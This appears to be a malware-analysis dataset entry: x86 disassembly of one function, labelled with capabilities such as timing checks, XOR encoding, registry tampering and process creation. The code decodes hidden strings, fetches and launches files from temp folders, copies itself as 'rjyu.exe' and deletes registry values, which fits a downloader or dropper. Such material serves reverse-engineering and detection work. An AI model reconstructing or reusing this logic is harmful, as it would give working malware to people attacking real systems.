Function at 0x402310
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Check mutex on windows
Create directory
Create process on windows
Delete directory
Delete file
Delete registry value
Encode data using xor
Get common file path
Initialize winsock library
Move file
Query environment variable
Query or enumerate registry value

Disassembly:
mov eax, 0x2370
call fcn.00404620
mov eax, dword [0x40909c]
xor eax, esp
mov dword [esp + 0x236c], eax
push ebx
push ebp
push esi
push edi
push 0x63
lea eax, [esp + 0x285]
push 0
push eax
mov byte [esp + 0x28c], 0
call sub.MSVCR90.dll_memset
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 0xc
push 0x406270
push 0
call ebx
push 0x103
lea ecx, [esp + 0xd9d]
push 0
push ecx
mov byte [esp + 0xda4], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x406270
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, 1
mov dword [esp + 0x20], ebp
mov dword [esp + 0x34], 0
mov dword [esp + 0x24], ebp
call esi
mov edi, dword [sym.imp.MSVCR90.dll_srand]
push eax
call edi
add esp, 4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x406270
push 0
call ebx
call esi
push eax
call edi
add esp, 4
lea edx, [esp + 0x70]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x42]
movzx edx, word [esp + 0x3e]
movzx eax, word [esp + 0x3c]
push ecx
push edx
push eax
push 0x407a2c
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0xca4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x406480
call fcn.00401830
add esp, 0x18
lea ecx, [esp + 0x348]
mov edi, edi
mov dl, byte [eax]
mov byte [ecx], dl
add eax, ebp
add ecx, ebp
test dl, dl
jne 0x402420
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
push 0x64
push 0x409238
call fcn.00401fb0
add esp, 8
push 0x406270
push 0
call ebx
mov eax, 0x409238
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402454
sub eax, edx
cmp eax, 0xc
je 0x40247e
push 0x3e8
call esi
push 0x406270
push 0
call ebx
inc ebp
cmp ebp, 0x5a
jl 0x402434
mov dword [esp + 0x30], ebp
jmp 0x402487
cmp ebp, 0x5a
mov dword [esp + 0x30], ebp
jl 0x4024b3
push 0x4079f0
call fcn.00401830
add esp, 4
mov edx, 0x409238
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x4024a0
push 0x406270
push 0
call ebx
xor eax, eax
jmp 0x4024c0
mov cl, byte [eax + 0x409242]
mov byte [esp + eax + 0x200], cl
inc eax
test cl, cl
jne 0x4024c0
lea edx, [esp + 0x5b4]
push edx
push 0x409238
call fcn.00401110
lea eax, [esp + 0x1b]
push eax
lea ecx, [esp + 0x20c]
push ecx
call fcn.00401110
add esp, 0x10
push 0x406270
push 0
call ebx
mov al, byte [esp + 0x13]
xor al, 0xdc
xor byte [esp + 0x5b4], al
xor byte [esp + 0x5b5], al
xor byte [esp + 0x5b6], al
xor byte [esp + 0x5b7], al
xor byte [esp + 0x5b8], al
xor byte [esp + 0x5b9], al
push 0x406270
push 0
mov byte [esp + 0x1b], al
call ebx
lea edx, [esp + 0xac8]
push edx
lea eax, [esp + 0x5b8]
push 6
push eax
call fcn.00402120
add esp, 0xc
xor eax, eax
jmp 0x402560
mov cl, byte [eax + 0x409242]
mov byte [esp + eax + 0x200], cl
inc eax
test cl, cl
jne 0x402560
push 0x406270
push 0
call ebx
lea ecx, [esp + 0x5b4]
push ecx
push 0x409238
call fcn.00401110
add esp, 8
push 0x406270
push 0
call ebx
lea edx, [esp + 0x12]
push edx
lea eax, [esp + 0x204]
push eax
call fcn.00401110
mov al, byte [esp + 0x1a]
xor al, 0xcf
xor byte [esp + 0x5bc], al
xor byte [esp + 0x5bd], al
xor byte [esp + 0x5be], al
xor byte [esp + 0x5bf], al
xor byte [esp + 0x5c0], al
xor byte [esp + 0x5c1], al
lea ecx, [esp + 0x224]
push ecx
lea edx, [esp + 0x5c0]
push 6
push edx
mov byte [esp + 0x26], al
call fcn.00402120
add esp, 0x14
xor eax, eax
jmp 0x402600
mov cl, byte [eax + 0x409242]
mov byte [esp + eax + 0x200], cl
inc eax
test cl, cl
jne 0x402600
lea eax, [esp + 0x5b4]
push eax
push 0x409238
call fcn.00401110
lea ecx, [esp + 0x1a]
push ecx
lea edx, [esp + 0x20c]
push edx
call fcn.00401110
add esp, 0x10
push 0x406270
push 0
call ebx
push 0x4079e0
call fcn.00401830
add esp, 4
lea edx, [esp + 0x210]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x402656
lea eax, [esp + 0x21c]
push eax
push 0x4079a8
call fcn.00401830
mov ebx, dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 4
push eax
lea ecx, [esp + 0xea4]
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xea0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4026e9
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x214]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0x407994
mov dword [esp + 0x30], 0x104
call fcn.00401830
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4026e9
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x210]
push eax
call dword [sym.imp.MSVCR90.dll_atoi]
add esp, 4
mov esi, eax
xor edi, edi
mov edi, edi
push esi
push 0x407950
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0x2ec]
push ecx
call ebx
add esp, 0xc
push str.1.0.0.9
push 0x409130
push ebp
push str.tcz1
push 0x407938
lea edx, [esp + 0x2f8]
push edx
push 0x4077e0
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0xeb8]
push eax
call ebx
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x5c]
push edx
lea eax, [esp + 0xed0]
push 0
push eax
call fcn.00401980
add esp, 0x3c
cmp eax, 1
jne 0x4027b9
push 0x4079e0
call fcn.00401830
mov ecx, dword [esp + 0x30]
add esp, 4
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4027b0
test dl, dl
je 0x4027ac
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4027b0
add ecx, 2
add eax, 2
test dl, dl
jne 0x402790
xor eax, eax
jmp 0x4027b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4027d0
lea eax, [esi + 1]
cdq
mov ecx, 0x65
idiv ecx
inc edi
cmp edi, 0x67
mov esi, edx
jle 0x402700
test edi, edi
je 0x40282d
push esi
push 0x4077c8
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x218]
push edx
call ebx
add esp, 0xc
push 0
push 1
push 0x407994
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x22c]
push ecx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.rjyu.exe
lea eax, [esp + 0xea0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call dword [sym.imp.MSVCR90.dll__stricmp]
mov ebx, dword [sym.imp.MSVCR90.dll_rand]
add esp, 8
test eax, eax
je 0x402c98
push 0x407764
call fcn.00401830
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4028a6
test cl, cl
je 0x4028a2
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4028a6
add eax, 2
add esi, 2
test cl, cl
jne 0x402886
xor eax, eax
jmp 0x4028ab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402c98
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f0]
push ecx
push 0x407628
call fcn.00401830
mov edi, dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 4
push eax
lea edx, [esp + 0xeb0]
push edx
call edi
add esp, 0x18
xor esi, esi
lea ecx, [ecx]
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x402923
inc esi
cmp esi, 1
jl 0x4028f0
push 0x409238
push str.tcz1
push 0x407938
lea eax, [esp + 0x2f0]
push eax
push 0x407560
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0xeb0]
push ecx
call edi
add esp, 0x18
xor esi, esi
jmp 0x402960
push 0xf4240
push 0x7a120
push 1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0xeb0]
push 0
push ecx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x402998
inc esi
cmp esi, 3
jl 0x402960
jmp 0x402c98
cmp esi, 3
jge 0x402c98
push 0x40754c
call fcn.00401830
mov edx, dword [esp + 0x3c]
push eax
push edx
call dword [sym.imp.MSVCR90.dll_strtok]
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x402c98
jmp 0x4029d0
push 0x104
lea eax, [esp + 0x4b4]
push eax
push ebp
call fcn.00401ef0
add esp, 0xc
lea ecx, [esp + 0x4b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
lea edx, [esp + 0x44c]
jmp 0x402a00
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x402a00
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a14
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a30
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
sub eax, esi
sub ecx, eax
mov byte [esp + ecx + 0x4b0], dl
lea edx, [esp + 0x4b0]
push edx
call edi
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a57
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a70
sub eax, esi
sub ecx, eax
push ebp
mov byte [ecx + ebp], dl
call edi
call ebx
push eax
call ebx
push eax
call ebx
push eax
push 0x407528
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0xba0]
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x14
lea ecx, [esp + 0x348]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0xb90]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ac5
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402ad8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [esp + eax + 0x348]
mov byte [esp + eax + 0x8c0], cl
inc eax
test cl, cl
jne 0x402af0
push 0
lea edx, [esp + 0x8c4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x40656c
call fcn.00401830
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402b22
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402b35
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402b54
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402b67
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
nop
push 0xf4240
push 0x7a120
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x35c]
push ecx
push ebp
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x402bb4
inc esi
cmp esi, 3
jl 0x402b80
jmp 0x402c6b
cmp esi, 3
jge 0x402c6b
lea eax, [esp + 0x348]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402bc7
sub eax, edx
je 0x402c6b
lea edx, [esp + 0xe9c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 5
lea eax, [esp + 0x8c4]
push eax
lea ecx, [esp + 0x454]
push ecx
lea edx, [esp + 0x354]
push edx
push 0x40750c
call fcn.00401830
add esp, 4
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x402c30
lea eax, [esp + 0x8c0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x402c6b
lea ecx, [esp + 0x348]
push ecx
call ebp
lea edx, [esp + 0x8c0]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x402c6b
push 0x1f4
call edi
inc esi
cmp esi, 0x78
jl 0x402c30
push 0x406270
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x40754c
call fcn.00401830
push eax
push 0
call dword [sym.imp.MSVCR90.dll_strtok]
mov ebp, eax
add esp, 0xc
test ebp, ebp
jne 0x4029d0
lea eax, [esp + 0xac8]
push eax
push 0x4079a8
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0xea4]
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 0xc
push 0x406270
push 0
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xea0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebp, dword [sym.imp.MSVCR90.dll_strncpy]
test eax, eax
jne 0x402f7e
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x4b4]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0x4074e0
mov dword [esp + 0x30], 0x104
call fcn.00401830
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402f7e
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
jmp 0x402d40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d40
sub eax, edx
shr eax, 1
lea edx, [esp + 0x5b4]
mov esi, eax
push edx
lea eax, [esp + 0x4b4]
push eax
call fcn.00401110
add esp, 8
xor eax, eax
test esi, esi
jle 0x402d80
jmp 0x402d70
mov cl, byte [esp + 0x13]
xor byte [esp + eax + 0x5b4], cl
inc eax
cmp eax, esi
jl 0x402d70
push 0x406270
push 0
call edi
push esi
lea edx, [esp + 0x5b8]
push edx
lea eax, [esp + 0x4b8]
push eax
call ebp
mov ecx, dword [esp + 0x20]
add esp, 0xc
push ecx
mov byte [esp + esi + 0x4b4], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea edx, [esp + 0xea0]
push edx
push 0x40652c
call fcn.00401830
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x40656c
call fcn.00401830
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402de2
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402df5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402e14
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402e27
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x406270
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
call esi
xor eax, eax
mov edi, edi
mov cl, byte [esp + eax + 0x4b0]
mov byte [esp + eax + 0xe9c], cl
inc eax
test cl, cl
jne 0x402e50
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e70
sub eax, edx
mov ecx, eax
xor eax, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
jle 0x402ea0
jmp 0x402e90
mov dl, byte [esp + 0x13]
xor byte [esp + eax + 0xe9c], dl
inc eax
cmp eax, ecx
jl 0x402e90
lea eax, [esp + 0x280]
push eax
push ecx
lea ecx, [esp + 0xea4]
push ecx
call fcn.00402120
add esp, 0xc
push 0x406270
push 0
call esi
push 0x406480
call fcn.00401830
add esp, 4
lea edx, [esp + 0x348]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x402ed6
lea edx, [esp + 0x14]
push edx
push 0x407420
call fcn.00401830
add esp, 4
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x34c]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x30]
push edx
push 0
lea eax, [esp + 0x290]
push eax
push ecx
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0x406270
push 0
call esi
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x406270
push 0
call esi
push 0x406270
push 0
call esi
lea eax, [esp + 0x4c]
push eax
push 0
lea ecx, [esp + 0x350]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x402f7e
cmp dword [esp + 0x6c], 0x2c00
jl 0x402f7e
mov dword [esp + 0x34], 1
lea edx, [esp + 0x21c]
push edx
push 0x4079a8
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0xea4]
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0xea0]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4032ef
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0xd9c]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
mov edi, 0x104
push 0x407408
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], edi
call fcn.00401830
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
mov eax, dword [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x40301b
push 0x406270
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x4b4]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0x4074e0
mov dword [esp + 0x30], edi
call fcn.00401830
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call esi
test eax, eax
jne 0x4032ef
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push eax
call edi
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403068
sub eax, edx
shr eax, 1
lea edx, [esp + 0x5b4]
mov esi, eax
push edx
lea eax, [esp + 0x4b4]
push eax
call fcn.00401110
add esp, 8
xor eax, eax
test esi, esi
jle 0x4030a3
mov cl, byte [esp + 0x12]
xor byte [esp + eax + 0x5b4], cl
inc eax
cmp eax, esi
jl 0x403093
push esi
lea edx, [esp + 0x5b8]
push edx
lea eax, [esp + 0x4b8]
push eax
call ebp
mov ecx, dword [esp + 0x20]
add esp, 0xc
push ecx
mov byte [esp + esi + 0x4b4], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x406270
push 0
call edi
push 0x104
lea edx, [esp + 0xea0]
push edx
push 0x40652c
call fcn.00401830
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x406270
push 0
call edi
push 0x40656c
call fcn.00401830
add esp, 4
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403110
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403123
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403142
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403155
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x4b0]
mov byte [esp + eax + 0xe9c], cl
inc eax
test cl, cl
jne 0x403170
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403190
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
sub eax, edx
push 0x406270
mov esi, eax
push 0
mov dword [esp + 0x20], esi
call edi
xor eax, eax
test esi, esi
jle 0x4031c4
mov cl, byte [esp + 0x12]
xor byte [esp + eax + 0xe9c], cl
inc eax
cmp eax, esi
jl 0x4031b4
push 0x406270
push 0
call edi
lea edx, [esp + 0x280]
push edx
lea eax, [esp + 0xea0]
push esi
push eax
call fcn.00402120
add esp, 0xc
push 0x406270
push 0
call edi
push 0x406480
call fcn.00401830
add esp, 4
lea edx, [esp + 0x348]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x403203
lea ecx, [esp + 0x14]
push ecx
push 0x407420
call fcn.00401830
add esp, 4
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x34c]
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x290]
push edx
push eax
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0x406270
push 0
call edi
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
push 0x406270
push 0
call edi
lea edx, [esp + 0x4c]
push edx
push 0
lea eax, [esp + 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x40329c
cmp dword [esp + 0x6c], 0x2c00
jge 0x4032e7
lea ecx, [esp + 0x348]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x38]
push edx
push 0xf003f
push 0
push 0x407348
call fcn.00401830
add esp, 4
push eax
push connect
call ebx
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x280]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x38]
push edx
call esi
jmp 0x4032ef
mov dword [esp + 0x24], 0
mov ecx, str.1.0.0.9
lea eax, [esp + 0xd98]
jmp 0x403300
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403320
test dl, dl
je 0x40331c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403320
add eax, 2
add ecx, 2
test dl, dl
jne 0x403300
xor eax, eax
jmp 0x403325
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403333
cmp dword [esp + 0x24], eax
je 0x403ba1
lea eax, [esp + 0x280]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403340
sub eax, edx
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
je 0x403424
lea eax, [esp + 0x24]
push eax
push 0xf003f
push 0
push 0x407288
call fcn.00401830
add esp, 4
push eax
push connect
call ebx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x280]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push 0
call esi
push 0x104
lea ecx, [esp + 0xea0]
push ecx
push 0x407264
call fcn.00401830
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x457
lea edx, [esp + 0xea0]
push edx
push 0x407244
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0x8cc]
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
push 0x406270
push 0
call esi
lea ecx, [esp + 0x8c0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x406270
push 0
call esi
lea edx, [esp + 0x8c0]
push edx
lea eax, [esp + 0x34c]
push eax
call ebp
jmp 0x40342a
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push 0
call esi
lea ecx, [esp + 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [esp + 0x20a]
movzx eax, word [esp + 0x208]
movzx ecx, word [esp + 0x206]
push edx
movzx edx, word [esp + 0x206]
push eax
movzx eax, word [esp + 0x208]
push ecx
push edx
push eax
push 0x4071f0
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0x464]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x29c]
add esp, 0x1c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403497
sub eax, edx
jne 0x40351b
push eax
push 1
push 0x4071d8
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x458]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x4071d8
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0x458]
push ecx
lea edx, [esp + 0x22c]
push edx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0x4071c0
call fcn.00401830
add esp, 4
lea edx, [esp + 0xe9c]
nop
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x403530
lea eax, [esp + 0xe9c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403542
mov ecx, dword [str.rjyu.exe]
mov edx, dword [0x407794]
mov dword [eax], ecx
mov cl, byte [0x407798]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403570
sub eax, edx
mov ecx, eax
xor eax, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
jle 0x4035a0
jmp 0x403590
mov dl, byte [esp + 0x12]
xor byte [esp + eax + 0xe9c], dl
inc eax
cmp eax, ecx
jl 0x403590
lea eax, [esp + 0x280]
push eax
push ecx
lea ecx, [esp + 0xea4]
push ecx
call fcn.00402120
add esp, 0xc
push 0x104
lea edx, [esp + 0x34c]
push edx
push 0x40652c
call fcn.00401830
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x406270
push 0
call esi
push 0x40656c
call fcn.00401830
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4035f2
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403605
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x348]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403623
mov ecx, dword [str.rjyu.exe]
mov edx, dword [0x407794]
mov dword [eax], ecx
